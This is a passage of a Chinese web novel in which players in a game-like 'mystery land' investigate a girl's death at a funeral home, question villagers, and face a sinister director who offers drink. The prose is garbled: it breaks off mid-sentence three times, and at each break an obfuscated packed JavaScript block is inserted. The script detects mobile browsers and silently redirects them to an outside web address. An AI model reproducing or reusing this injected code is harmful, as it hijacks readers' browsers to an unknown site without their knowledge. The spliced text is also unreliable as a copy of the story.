“算了,先不想。”姜银砚松松握起拳头,轻捶脑袋,“我们继续找人打听吧,希望能问出点李书月的事。” 两人接着往前走,目光最终锁定在一名正吞云吐雾抽旱烟的白发老叟身上,他面前放着一只竹背篓,里面装满烟叶。 姜银砚指着那位老叟同霍闻川说:“那个抽烟的老爷爷,看起来比医生的年纪还大,应该知道不少事。” 霍闻川微笑着回应:“就他了。” 姜银砚和霍闻川在竹背篓前蹲下,谁知那老叟只侧睨两人一眼便别开视线,理也不理。 姜银砚一脸懵,心情犹如吃了一顿莫名其妙的闭门羹,禁不住在心里嘀咕:这老头脾气真差。 “老爷爷,”霍闻川和气地问:“烟叶怎么卖?” 老叟根本不把两人当顾客,连说话都嫌弃麻烦,摆摆手示意两人走。 姜银砚脾气登时上来,一改之前在诊所面对老医生时的平和,冲口便是一通怒:“嘿,你这老头,送上门的买卖都不做,嫌钱多?” 老叟拿开烟杆,仰头吐出一口白气,而后对两人说:“两个青蛋娃娃买什么烟叶,这年头只有像我这样的老头才抽旱烟。” 霍闻川解释说:“家里老人两天前刚过世,明天要火化,他生前就好这口老烟,临终前还特地嘱咐我们把烟杆随葬,所以我和妹妹就想着来买点烟叶,明天烧给他老人家。” “挑吧,”老叟拿烟杆碰了碰背篓里的烟叶,“都是好叶子。” 霍闻川认真挑烟叶的同时,姜银砚开始套话:“老爷子,你给透漏透漏,那家白华园殡仪馆坑不坑人啊?” “做生意的,没几个不坑人。”老叟讲话直白,不拐弯抹角,正是霍闻川他们最需要的打听对象。 “逃不过您的法眼。”姜银砚心中暗喜,先赞美一句,再继续探问:“听长辈的一位朋友说有个在念书的小姑娘,常常过来殡仪馆帮忙,我们今天怎么没见着她人呢?” “你说的是小月丫头吧。”老叟擎烟杆的手缓缓放在膝上,“那是个苦命孩子,她爹妈都不是什么好东西。” 霍闻川一只手在满篓烟叶里穿梭,抬头问:“她去哪儿了?” 烟杆里的烟叶已经烧完,老叟在坐的石阶上就地磕烟斗,“得病死了。” 霍闻川追问:“您知道她得的什么病吗?” “她爹妈说是得了什么癌症,治不好。”老叟声气蓦然一重:“癌症就是那要人命的阎王爷,谁得谁死。” 姜银砚不相信李书月是死于癌症,死因太过于自然,随即问:“那她父母呢?” 老叟:“没多久也死了,不知道是不是也得了癌症。” “您知道她父母叫什么吗?”霍闻川问的同时也不忘继续挑烟叶,一副诚心要买的架势。 老叟目光定住,像是在回想,片刻后摇摇头,“叫啥我忘了,只记得她爹姓李。” 姜银砚急切地问:“他们一家人跟殡仪馆是什么关系?” 10. 白华园殡仪馆 岂料这句话问出,老叟忽然态度大转,活似一只被踩尾的猫,手持烟杆驱逐二人,“你们买不买?不买别挡着,我卖的是烟叶,不是有肥有瘦的猪肉,选什么选?” 姜银砚当场愣住,“怎么突然发起火了?” 眼看老叟挥舞着烟杆就要起身,霍闻川赶紧拉姜银砚走开,并说出其中缘由:“我们刚才应该是触及到了案情的关键信息,致使迷案之地采取了保密措施。” 姜银砚还没从老叟由水至火的转变里回过神来,一时间不能理解霍闻川的话,茫然摇头,“听不懂。” 霍闻川便再用事件本身来解释:“换言之,如果老叟回答了我们的问题,我们很快就能破案。” 姜银砚这才恍然大悟,“我们最后问的是李书月一家人和殡仪馆的关系。” “这也意味着我们可以从npc口中获知的信息将越来越有限。”霍闻川抬起手腕看了一下表,“我们去把傅平湘找到,问他有没有打探出有别于我们的线索。” 两人找到傅平湘时,他正流连于一个小小的花茶摊,卖茶的是个年轻小姑娘,不知道跟傅平湘在聊什么,笑得很是开心。 “傅平湘。”姜银砚未走近便开始喊人。 而傅平湘却像是没有听到,和卖茶姑娘聊得热火朝天。 姜银砚和霍闻川对视一眼,均露出一副无奈的表情。 两人走到摊前,姜银砚笑眯眯地问卖茶姑娘:“金银花怎么卖?” 熟悉的声音传入耳中,傅平湘连忙回头,看到姜银砚和霍闻川时,脸上笑意加深,不及卖茶姑娘出声,傅平湘便替她回答:“一两三十,姜姐姐要来点?” 听到这句话,姜银砚差点背过气去,压低声音说:“我来你个大头鬼,你是不是特想留在这儿?” 傅平湘仍然嘻嘻哈哈地笑,“没有的事。” 姜银砚强忍住怒气,“那还不赶紧走。” “小慧,”傅平湘冲卖茶姑娘依依不舍地说:“我还有事,只能先走啦。” 卖茶姑娘笑容甜甜地说:“好的,平湘哥,明天我还在这儿。” 傅平湘自以为帅气地打了个响指,再用手比划出一把手枪的形状,指尖对着小慧,“明天见,girl。” 姜银砚直翻白眼,“瞧你那副骚包样。” 再一看身旁温文尔雅的霍闻川,对比鲜明如斯,若让姜银砚用一个词总结傅平湘刚才的行为,那就是:“油光可鉴。” 霍闻川被姜银砚那句“油光可鉴”逗笑,“阿砚总是如此有趣。” 傅平湘丝毫不在乎姜银砚的调侃,甚至生出些不以为耻反以为荣的骄傲来,振振有词地说:“我油故我在。” “呕……走走走,我们赶紧走,他再说一句这种话出来,我怕我等下要当街扶墙呕吐。”姜银砚只恨现在找不到棉花,否则一定团成两个棉花球塞住耳朵。 “你好不解风情。”傅平湘也同时表露出对姜银砚的嫌弃,并试图找到知音:“霍帅应该能理解我。” 然而霍闻川却笑说:“抱歉,我或许理解不了。” “连霍帅也不能跟我惺惺相惜。”傅平湘缓缓摇头,长吁短叹:“无敌是多么让人寂寞。” “无耻是多么让人头疼。”姜银砚揶揄一句后,不再跟他插科打诨,“言归正传,你逛这大半天打听到什么没有?” 傅平湘瞬间精神,“当然有。” 霍闻川:“说说看。” 傅平湘一五一十地陈述道:“小慧的姐姐和李书月是高中同学,李书月曾经还去她们家玩过几次。高三那年,不知道什么原因,临近高考的两个月前,李书月突然休学。那个时候,小慧的姐姐忙于备战高考,所以打算高考结束后去李书月家里找她。谁知道高考结束后,小慧的姐姐到李书月家里,她爸妈却说她已经得癌症死了。” 霍闻川:“死亡原因和我们打听到的一样。” 傅平湘略显诧异:“你们也打听到她得癌症死了?我还以为我得到的是第一手消息。” “第几手消息不重要。”姜银砚问:“除此之外,你还打听到什么?比如李书月的性格、爱好之类。” “听小慧说,李书月的成绩很好,考本科完全没问题。李书月死后,她们的班主任一度感到可惜。哦对,”傅平湘忽然想起什么,“还有件事,有一次小慧的姐姐带李书月和小慧去河边捡石头,李书月捡到一块大概半个巴掌大小、半红半黑、小熊形状的石头,她当时非常开心,还说这是幸运石,她要随身携带。” 霍闻川和姜银砚立刻联想到郑暧在火葬区捡到的石头,同样是半个巴掌大小,那块石头虽然已经被烧黑,看不出本来颜色,但形状却是一点没被破坏。 无论是客观分析,还是直觉,都告诉二人这一定不是巧合。 末了,傅平湘问二人:“你们说,会是郑暧捡的那块吗?” 霍闻川没有回答,“还有别的消息吗?” “没有了,就这些。不过,”傅平湘皱起眉头,眼噙困惑,“我还发现一个奇怪的事,每当我想继续问下去,小慧就像是没听见一样,我问东,她答西,完全不着边。” “看来又是保密措施。”姜银砚转眸看向霍闻川,发现对方也默契地把目光投向自己。 “什么保密措施?”傅平湘一头雾水。 霍闻川言简意赅地给傅平湘解释了迷案之地的保密措施,傅平湘听后大呼:“太贼精了吧。” 姜银砚再次为傅平湘的大嗓门头疼,“你小点声。” 傅平湘左右张望一番,见有两三双好奇的眼睛在盯着他们,当下收敛不少,调低音量说:“我还纳闷小慧说话怎么颠三倒四的,敢情是我的话进她耳朵里直接变成了风马牛不相及的另一句。” “我们刚刚也遇到了。”接下来,姜银砚把她和霍闻川打听到的消息原原本本地讲给傅平湘听。 三人将线索一串联,案情愈加明朗起来,但距离真相还有一段不短的路程。 傅平湘一本正经地说:“我有种感觉,李书月很可能不是自然死亡,如果癌症不算是意外死亡的话。” “迷案之地的死者,死亡原因大多属于人为。”在温柔之余,霍闻川的声音还透着教人无理由信服的冷静。 姜银砚“嗯”了一声,“李书月要是真死于癌症,那就没有查案的必要了。” “有道理。”傅平湘抿起嘴唇,旋即又舒开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419456|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们还接着打听吗?” “不,”霍闻川再次抬腕看表,“我们现在原路返回。” 五里地之外,蒲耀和郑暧所走的另一头跟霍闻川三人来到的地方完全是截然不同的两副光景,一路走来遇见的不是疏落的村屋就是大片大片的农田。 而那些村屋还大都关门闭户,有一两家没锁门的,外面都拴着一条大黄狗,一见陌生人走近便龇牙咧嘴地狂吠,仿佛下一秒就要挣断铁链猛扑过来。 看那架势,两人自然再不敢靠拢,只能继续往前走。 来到一片水田时,郑暧两人终于看到有人,是一对将裤腿挽至膝处的中年男女,他们此时正忙着在水田里插秧苗。 “可算看见人了。”郑暧几乎喜极而泣。 “我们过去问问。”蒲耀还是一如既往的不动声色。 “大哥大姐,”郑暧热情询问:“需要我们帮忙吗?” 原本只是试图跟两人拉近乎的一句客套话,谁知那男人竟然一点也不客气,“那敢情好,多个人多份力。” 女人却对两名一看就没干过农活的年轻人表示怀疑,“你们会插秧吗?” 郑暧感到头大无比,连忙向身旁的蒲耀求救:“小蒲哥,怎么办?我从小没干过农活。” “我干过,我去帮忙,你就在旁边装装样子。”蒲耀说完便弯腰卷裤腿,而后将鞋脱在田埂上,踩进水田。 农活无疑是郑暧十数年无忧无虑人生里的空白,难免有些踟蹰,但这个忙毕竟是她提出来的,出口之言犹如泼出之水,再难也只能硬着头皮上。 郑暧将过膝长裙提至膝处打结,光脚下到水田里,从女人手里接过一把嫩绿的秧苗。 蒲耀现场教学,从小没吃过丁点苦的郑暧意外得很快上手,熟练之后便和蒲耀小声商量向那对夫妻打听殡仪馆和聚源饭店的事。 短暂的交头接耳,郑暧决定先从看起来比较好说话的女人下手,“大姐,我们刚才一路走过来发现大家都关着门,是都下地干农活去了吗?” 女人说:“今天是赶集的日子,大伙儿都上集市去了。” 郑暧:“我们是从外地来的,找一个很多年都没有联系过的亲戚,村里的人你都认识吗?” “基本上都认识。”女人一面插秧,一面热心地问郑暧:“你们要找的亲戚叫什么名儿?” 蒲耀接过话:“我们只知道她姓秦,五十来岁,好像开了个饭馆。” “姓秦的,开饭馆。”女人不由得停住手里的活计,开始在脑中搜索对应的人。 男人不耐烦地说:“哎呀,不就是聚源饭店的秦姐嘛,就这还用想半天,白活你四十多年。” 女人被说得有些耳红,一句话也没反驳,表情讪讪的,低头继续插秧,看样子平常没少遭到男人的言语打击。 气氛突然变得有些尴尬,郑暧担心女人再被男人斥责,便索性问男人:“大哥,你知道聚源饭店在哪里吗?” “不远。”男人直起腰,给郑暧指路线。 郑暧趁热打铁:“我们很多年没有跟她联系过,也不知道她现如今的情况,大哥你清楚吗?” “那个女人……”男人嘴一撇,直摇头。 11. 白华园殡仪馆 看男人的表情似乎对秦姐有不善的看法,郑暧也因此更加好奇,“怎么了?” 男人说:“四十来岁好不容易生个儿子,没过几年儿子在河里淹死了,打捞队四五个人捞了半个月,最后只捞起一顶帽子,那个女人当天晚上回去就疯了。后来也不知道咋回事,前几年她突然好了,不疯了,但是男人又出车祸死了。” 今天跟秦姐接触两回,除开劝酒一事,其他言行举止都跟常人没有分别,完全看不出来曾经疯过,郑暧也无法想象她疯时的样子。 “她一共几个孩子?”郑暧问。 男人:“就那么一个,老来得子,宝贝得跟啥似的,捧在手里怕摔了,含在嘴里怕化了。” 蒲耀:“饭馆一直是她一个人在经营吗?” “原来是她和她男人一起在弄,那个时候风光的很,全村就她家最有钱。”男人的语气,是个人都能听出几分不平来,“疯了过后就只有她男人在管,疯病好了又开始当老板娘,她男人就去给殡仪馆开灵车了。” “她丈夫为什么放着好好的饭馆不经营要去开灵车呢?”郑暧对此感到费解。 “哼,生意不好呗。”男人右边嘴角往上一挑,竟颇有几分快意,“她疯的那几年,村里又开了一些新饭馆,有几家就在她旁边,生意被抢了,每个月赚不到几个钱。刚好殡仪馆那阵儿在找司机,她男人就去了,还把殡仪馆的人给弄到自家饭馆来吃饭。” 莫名其妙地,郑暧想起傅平湘在二楼看到的人影,“大哥,你见过她的孩子吗?” 男人抬臂在空中划了一下,“村子就那么大,晚上出门溜达一趟都能碰两回面,她儿子长得矮矮胖胖,最喜欢戴一顶黄帽子,我们有时候逗他玩就叫他小黄帽。” “你还记得她儿子叫什么名字吗?”和郑暧一样,蒲耀也想到二楼窗户里的人影。 “我想想啊。”男人冥思苦想一阵,不确定地说:“好像叫杨……杨明什么来着,时间太久,记不全了。” “杨明锐。”沉默良久的女人轻声开口。 “对对对,是叫杨明锐。有一回她儿子会写自己名字了,她逢人就显摆,跟别人家孩子都不识字似的。”即便郑暧已经告诉男人他们是秦姐的亲戚,男人也丝毫不顾及,只管发泄自己的不满。 蒲耀问:“是哪两个字?” 郑暧看蒲耀一眼,两人再次想到一处去,不管之后用不用得上也要问个仔细。 “明天的明,锐就是……”男人一边说,一边用手指空写。 等男人写完杨明锐的名字后,郑暧又问:“她丈夫死后,她有没有改嫁?” 男人不屑地说:“她倒是想,谁敢娶啊?” “大哥,”郑暧偏过头去,跟蒲耀眼神交汇,蒲耀轻轻点头后,郑暧试探地开口:“我们来之前听人说秦姐丈夫上班的那个殡仪馆有个小女孩,姓李,你知道吗?” 郑暧话音一落,男人突然冲女人发火,指责她:“插个秧歪七扭八,你说你能干好啥事?” 女人表情有些委屈,但手里的活却没停。 “大哥,我刚刚问的……”不等郑暧说完,男人再次发怒:“你耳朵聋了?叫你插稀点,插稀点,你插这么密,长出来稻子挤稻子,全给挤死了。” 女人被骂得泪眼汪汪,却一个字也不敢反驳。 “小蒲哥。”郑暧无措地看向蒲耀。 蒲耀也不知所以,只能先劝:“大哥,别生气,大嫂她……” “再往后移点,手把手教你大半辈子都学不会,我怎么娶了你这么个蠢女人?”男人仿佛没听到二人的话,自顾自对女人呵嗔。 两人在原地僵怔片刻,明显感觉到这对夫妻对他们的忽视,想不通是哪个环节出了问题,明明刚才还滔滔不绝的男人转眼就变了一副面孔。 蒲耀对郑暧摇摇头,两人不再继续下功夫,双双离开水田,穿好鞋后便返回马路上。 “那男的怎么回事?一直在骂自己的妻子。好莫名其妙,我都傻了,这种男人也太没品了,就知道欺负老实女人。”郑暧困惑不已的同时也替女人感到不平。 蒲耀说:“或许霍先生可以解答这个问题。” 郑暧看到稍远处还有一栋房屋,“那我们还继续找别人打听吗?” 蒲耀若有所思地回望夫妻二人,丈夫依然在骂骂咧咧,妻子也依然低头不语,“我认为暂时不用了。” 郑暧问:“我们出来多久了?” 蒲耀看看表,“差不多快两个小时了。” “不早了。”郑暧说:“那我们原路返回吧。” 郑暧和蒲耀回到殡仪馆时,姜银砚三人已经在院里休息。 “小姜姐,你们回来多久了?”郑暧见到三人时只觉得格外亲切,虽然同大家的认识只有短暂的一天,但非比寻常的经历让她早已将四人视作值得信赖的朋友。 “比你们早十几分钟。”谈话间,姜银砚发现郑暧脚踝处沾着不少泥点,连忙又去看蒲耀,发现他也有,遂惊讶地问:“你们去什么地方了?怎么弄了一身泥回来?” 听姜银砚一说,坐在台阶上休息的傅平湘忙不迭凑上前来,看到两人脚踝处的泥点时同样露出吃惊的表情,“你们两个下午干的事有点惊心动魄啊。” 霍闻川也扫了两人的脚踝一眼,反应则比姜银砚和傅平湘淡然得多,几乎看不出有什么表情变化,只是问:“你们需要先清洗一下吗?” “我暂时不用。”蒲耀随后问郑暧:“郑暧,你需要清洗吗?” 郑暧摇摇头,“我没关系,我也还能忍得住。” 傅平湘按捺不住自己的好奇心,将手比成话筒对向二人,“先生,女士,讲出你们的故事。” “我们下午,”郑暧禁不住一阵苦笑,“帮别人干农活了。” 在姜银砚和傅平湘期待的目光中,郑暧开始讲述自己和蒲耀下午的经历。 郑暧说到秦姐的儿子和丈夫身亡之时,姜银砚也立马想到二楼的人影,“如果说秦姐的儿子和丈夫皆已亡故,而她又没有改嫁,那么二楼的人是谁?” “会不会是……鬼?”傅平湘顿时被自己冒出的想法吓到。 怀疑于心和宣之于口完全是两种感觉,姜银砚和郑暧听到傅平湘直接说出来,都禁不住汗毛倒竖。 看到郑暧有些发虚,蒲耀便接着讲后面的事。 “最后特别奇怪,那个男人好像当我们不存在,再也不理睬我们。”郑暧百思不得其解。 “我知道。”傅平湘像是老师提问时积极抢答的好学生,“霍帅说这是迷案之地的保密措施,当我们问到破案的关键时,npc就会态度大变,什么都不会再说,我们下午也遇到了。” 霍闻川微笑颔首,以示事情的确如此。 姜银砚知道傅平湘的表达欲由不得人控制,便主动提出:“那就由傅同学来说说我们下午打听到的情况。” 傅平湘脱稿演讲似的,滔滔不绝地讲述他们三人下午的经历。 把两组打听到的线索一结合,姜银砚发现一个点,“我们下午打听到的线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419457|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索主要是关于李书月,而你们则是秦姐,功夫和时间都没有白费。” 旋即看向霍闻川,“这也是迷案之地的干预吗?” 霍闻川:“嗯,这是迷案之地给予灵探组的便利。” 傅平湘冷嘲热讽道:“我该说它贴心呢,还是歹毒呢?” “关于打听到的线索,目前有三个疑问。”霍闻川开始梳理由线索衍生出来的问题:“一,秦姐的疯病为什么突然好了?二,李书月的父母是意外身亡还是自然死亡?最后一个,是李书月的幸运石。” 李书月本该随身携带的幸运石被发现在火葬区烧过,蒲耀因此有一个推测:“李书月死后,尸体在白华园殡仪馆火化。” 傅平湘:“李书月一家人和殡仪馆的关系还真是个谜啊。” “有没有这么一种可能,李书月的父母当中有一个人是殡仪馆的工作人员?”姜银砚说出猜测之后,紧跟着又说理由:“唯有至亲之人在这里上班,李书月才有可能时常来殡仪馆,死后尸体也自然而然地在殡仪馆火化。” 郑暧笃定道:“要是李书月真的在这里火化,殡仪馆一定会做登记。” 傅平湘长叹一声,“绕来绕去最终还是回到了文件柜上。” 霍闻川回头朝二楼办公区望去一眼,“阿砚,你和郑暧在这里给我们把风,我们三人上去试一试。” “没问题。”姜银砚一口答应。 蒲耀:“霍先生是否准备对柜门进行强拆?” 霍闻川:“眼下唯有此法。” “可是,”郑暧却对此感到犹疑,“如果破开文件柜也不能找到我们需要的信息,该怎么办呢?” 霍闻川低头看表,“四点五十五分,离入夜已经不远,我们只能赌一赌。” 大约十五分钟后,霍闻川三人回到楼下,姜银砚赶忙迎上去问:“怎么样?文件柜打开了吗?” 傅平湘揉着胳膊说:“跟铜墙铁壁似的,我们三个人一起用力它都纹丝不动。” 姜银砚纳闷地说:“看起来分明是很普通的文件柜啊。” “是普通的文件柜。”霍闻川也疑惑甚深,像突然走进一条死胡同。 “是不是被封印了?”傅平湘冷不丁冒出一句脱离实际的话来。 “上面有贴符纸吗?”郑暧眨巴着眼睛问。 蒲耀认真回答:“什么都没有。” 恰这时,五人听到汽车驶近的声音,傅平湘当即跑到铁门旁往外看,回头朝众人说:“王齐东回来了。” 王齐东把车停到昨天的位置,下车后看到五人站在门里,便问:“你们怎么还不过去吃晚饭?” “我们正准备去。”霍闻川唇角虽在上扬,笑意却分毫不达双眼。 姜银砚故作热情地问:“王馆长,和我们一起去吗?” 王齐东不咸不淡地说:“哦,我吃过了,你们去吧。”说罢便朝办公区的方向走去。 现在分明是夏季,才刚刚五点,夕阳已经落尽,蓝灰色的天空出现一轮暗淡的钩月。 “天黑得好快。”姜银砚举目遥望,“月亮都已经出来了。” “这种感觉,”蒲耀说出自己的感受:“像是在催促人们早点回家。” 傅平湘怯怯地说:“天一黑,可怕的事情就要发生。” “也不知道能不能活过今晚。”郑暧脑中骤然涌现出昨夜小女孩进屋时的可怖情形,以及孙田撕心裂肺的呼救,不禁满心忧虑。 霍闻川依然维持着那一份淡然,“我们去饭馆吧。” 12. 白华园殡仪馆 五人来到聚源饭店时,饭菜已经摆到桌上。 菜品和中午几乎没差,只是多了一盘糖醋莲白,凉拌藕丁的分量也更足了些。 姜银砚笑吟吟地同郑暧说:“小暧,有你最喜欢的糖醋莲白。” “看在糖醋莲白的份上,我一定要多吃半碗米饭。”郑暧一扫凝聚在眉间的阴霾,率先落座,给自己盛饭。 大家都坐下后,秦姐从后面走出来。 五人下意识以为她又要劝酒,傅平湘看见满满一盘鸡腿时的欢喜瞬间荡然无存,一张脸毫不掩饰地皱成苦瓜,正思考用什么办法才能让秦姐彻底死心时,却不想她只是到前面来拿清凉油。 秦姐一边往自己手臂抹清凉油,一边无奈地说:“蚊子太多了,一闲下来不动就被叮得到处都是疙瘩。” 而五人当中,除开姜银砚和霍闻川身穿长袖,其他三人都是短袖。 等秦姐走后,姜银砚低声问:“有蚊子吗?” 傅平湘和郑暧不约而同地摇头,“没感觉。” 蒲耀低头看自己的手臂,“我也没感觉到。” “奇了怪了,在现实世界里我可是招蚊体质,到这儿来反倒成了蚊子绝缘体,这体质要是能带回去那可就太好了,也不枉我来这一遭。”傅平湘兴奋得像是发现新大陆。 而这时,姜银砚察觉到外面的天空已经快要接近墨蓝色,心里莫名地慌张起来,“先不想这个了,我们赶快吃饭吧,天越来越黑了。” 虽然五人已经以最快的速度在吃饭,但一餐饭完时,天还是完全黑了下来,匆匆别过秦姐后便迅速往回赶。 殡仪馆门口的两盏灯已经亮起,白天大开的铁门此刻呈半掩状态。 五人刚一进门,还没来得及喘口气,便看到王齐东从办公区走过来,先指了姜银砚、霍闻川和蒲耀,“你们三个负责把遗体送到炉子里火化,骨灰装在黑盒子里。” 再指了指郑暧和傅平湘,“你们两个跟我到二楼办公室来。” 任务分派完后,王齐东便头也不回地往办公区走。 “他让我们去干什么啊?我们能不能不听他的?”傅平湘周身每一个毛孔都在抗拒。 “我也不想去。”经过昨晚的事情,郑暧比昨天刚到时胆小不少。 霍闻川想起茶几上那些做标记的纸杯,正色叮嘱二人:“你们记住,不管他给你们什么东西,都不要入口。” 这一郑重的提醒顿时加深两人的恐惧,他们迟迟不肯挪脚,仿佛王齐东的办公室里藏着顷刻间便能直夺人命的毒蛇猛兽。 “我可以代替郑暧去吗?”蒲耀流露出对同伴的关心。 “很抱歉,我无法预知换人的后果。”霍闻川不置可否,事实上他也的确不能预估事态将会发生怎样的变化。 而郑暧也做不到让他人替自己涉险,只能努力使自己平静下来,笑颜以对,“多谢小蒲哥的好意,我选择自己去。” 姜银砚眼睛一阵发酸,一把抱住郑暧,安慰道:“小暧,多点警惕,会没事的。” “姜姐姐,我也需要一个抱抱。”傅平湘张开双臂就要抱向姜银砚,却猝不及防地被霍闻川拉开,随后得到一个他的拥抱。 三人眼看着傅平湘和郑暧三步一回头地往办公区走,踏上楼梯,身影消失在拐角处。 姜银砚在心中默默祈愿他们平安回来。 “阿砚,”霍闻川温言道:“走吧,我们还有需要完成的工作。” 姜银砚抬起鸦睫,冲霍闻川扯出一个勉强的笑,“他们应该会没事的,对吧?” “阿砚,我该怎么回答你呢?”这个问题,霍闻川无法回答。 “尽人事,听天命。”蒲耀落下这句话后便转身走向灵堂。 姜银砚不再说话,步伐沉重地跟在后面,白日里的生气正渐渐从四肢百骸抽离。 灵堂内,三人面对纸床上那具僵硬的尸体。 由尸身泛出的死气在不觉间弥漫开来,越发看得人惊悚不安。 殡仪馆没有搬运工具,霍闻川和蒲耀便决定用最原始的方式,直接把尸体抬到火葬区。 姜银砚虽然没有直接触碰尸体,但跟在两人旁边犹然让她打心底里瘆得慌。 此时的火葬区笼罩在一片惨白的灯光之下,虽然光线充足,很是亮堂,但阴森感也直接拉满,令人胆寒。 对这里已经算是熟悉的蒲耀自然而然地走在前面带路,穿过两道单扇铁门后,终于来到焚化炉前。 屋子的角落里有一只带盖的黑漆盒子,不见遗体放置台,两人只好暂时把尸体搁在地上。 姜银砚打量着面前巨大的焚化炉,“怎么操作啊?” “我也没有操作过。”这同样是蒲耀的知识盲区。 在两人琢磨的目光中,霍闻川径直将焚化炉门拉开,从里面取出一只长方形的容器。 见状,蒲耀立刻领悟过来,和霍闻川合力将尸体装进容器里,送进焚化炉,最后关闭炉门。 霍闻川又走到焚化炉的侧面,拨下按钮,焚化炉门旁的红色警示灯瞬间亮起。 “闻川,你怎么会懂这个?”姜银砚对霍闻川的熟练感到惊异。 蒲耀看向霍闻川的目光里也带着明晃晃的审视。 霍闻川轻描淡写地说:“机缘巧合下知道的。”随后看一眼表,“大概要花一个半小时,我们出去等吧。” 外间是休息室,摆着两组三人座的布艺沙发和一张多处掉漆的圆形玻璃桌,三人出来后就直接坐到沙发上。 姜银砚非常担心傅平湘和郑暧的安全,思来想去,现在唯一能做的就是尽可能在深夜来临前破案,那么所有人都能活着出去。 只是,虽然下午打听到的线索已经不少,但关键部分依然处于神隐的状态,像是一块残缺的拼图。 尽管大家都推测文件柜里有重要信息,但棘手的是柜门根本打不开,导致整个案件陷入僵局。 姜银砚忽地拍一下沙发扶手,目光炯炯地注视坐在另一张沙发上的两人,“我们干脆一不做二不休,去偷文件柜的钥匙。” 蒲耀毫不犹豫地响应:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419458|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我同意。” 姜银砚又看向霍闻川,“闻川,你呢?你觉得可不可行?” “我觉得,”霍闻川沉吟片时,“打开文件柜的关键或许不是钥匙。” “不是钥匙那会是什么?”这一天里,姜银砚感觉自己的脑袋像个飞速运转的机器,到此刻已经有些应接不暇。 “下午去破坏文件柜时,我就感觉到一些不寻常,只是暂时还没有想明白。”霍闻川姿态慵懒地坐在松软的沙发里,专注地思考问题时令他看上去像极一尊线条柔和的雕塑。 姜银砚忍不住多看了他两眼,而这个细微的举动恰好落在蒲耀眼里,当姜银砚察觉到时,便见蒲耀对她意味深长地一笑,竟让她莫名发窘,连忙将视线别开,假装不在意。 接下来,三人都不再说话,各自在思考问题,大概过去半小时,外面突然传来一串急促的脚步声。 紧跟着是傅平湘喘息不定的喊声:“姜姐姐,霍帅,蒲耀,你们在里面吗?” “傅平湘。”姜银砚赓即起身走到门口,一眼便看到傅平湘和郑暧神色慌张地跑过来。 两人进来后,直接砸进沙发里。 傅平湘跑得太急而致面色潮红,不断地喘粗气。 郑暧虽也气喘吁吁,但脸色却是煞白,整个人还带着轻微的颤抖,眼睛木怔怔地盯着前面,失神似的,一看便知大事不妙。 姜银砚急忙搂住郑暧的肩,“王齐东叫你们去干什么了?” “郑暧,她……她……”傅平湘一口气没喘匀,说话都变得不甚利索。 “她怎么了?”姜银砚急得不行。 “我……我喝他给的酒了。”话一说完,郑暧再绷不住,当场大哭起来,眼泪如泄洪般往外涌,片刻濡湿面颊。 蒲耀眉头皱起,“郑暧,你怎么会……” “酒是不是装在纸杯里?”霍闻川忙问。 郑暧急促地说:“最开始他问我们要钱,只有我身上有,我问他需要多少,他说是一张就够了,然后我就从包里取出一张冥币给他。后来他又递给我一个纸杯,说里面是水,我当时也不知道自己是怎么了,明明一直提醒自己不能喝他给的任何东西,但那个时候就好像中邪了一样,鬼使神差就接过来喝了,等我回过神来,才发现里面是酒。” 气息已经顺畅许多的傅平湘接着说:“我那会儿就在旁边,我还看到王齐东开文件柜拿酒了,那个瓶子跟聚源饭店的酒瓶一模一样,我当时就觉得王齐东肯定有问题。果不其然,他又拿出一个纸杯,倒了一些酒进去,最后把纸杯递给郑暧。我原本以为郑暧肯定不会接,谁知道她居然接了,我极力想阻止她,可是我发现自己好像被人点了穴一样,完全动不了,嘴也张不开,只能眼睁睁看着郑暧把酒喝了。” 姜银砚:“王齐东为什么单独给郑暧一杯酒?” “冥币。”不等众人反应过来,霍闻川又紧接着说:“郑暧,把你剩下的钱拿出来。” 郑暧抽噎着打开小包,拿出来的钱却已经不再是冥币,而是现实世界里的纸钞。 13. 白华园殡仪馆 霍闻川随后拿出自己兜里的钱,却仍然是冥币。 众人呼吸一窒,蒲耀问:“郑暧,你包里的钱被人动过吗?” “没有,包包一直在我身上,没有人动过。”郑暧语气笃定。 傅平湘也说:“我作证,我一直在她旁边,钱是郑暧拿给王齐东的,王齐东没有碰过她的包。” 霍闻川:“傅平湘,你说你看到王齐东开文件柜了?” 傅平湘郑重道:“亲眼所见。” 霍闻川:“有没有用钥匙?” “没有,直接拉开的。”傅平湘回想道:“柜子好像根本没锁,他很轻松就拉开了,里面除了一瓶酒,就是一堆牛皮纸文件袋,五六个蓝色的文件夹外加一沓没有封装的文件。” 姜银砚忍不住打岔问:“闻川,你是不是想到什么了?” 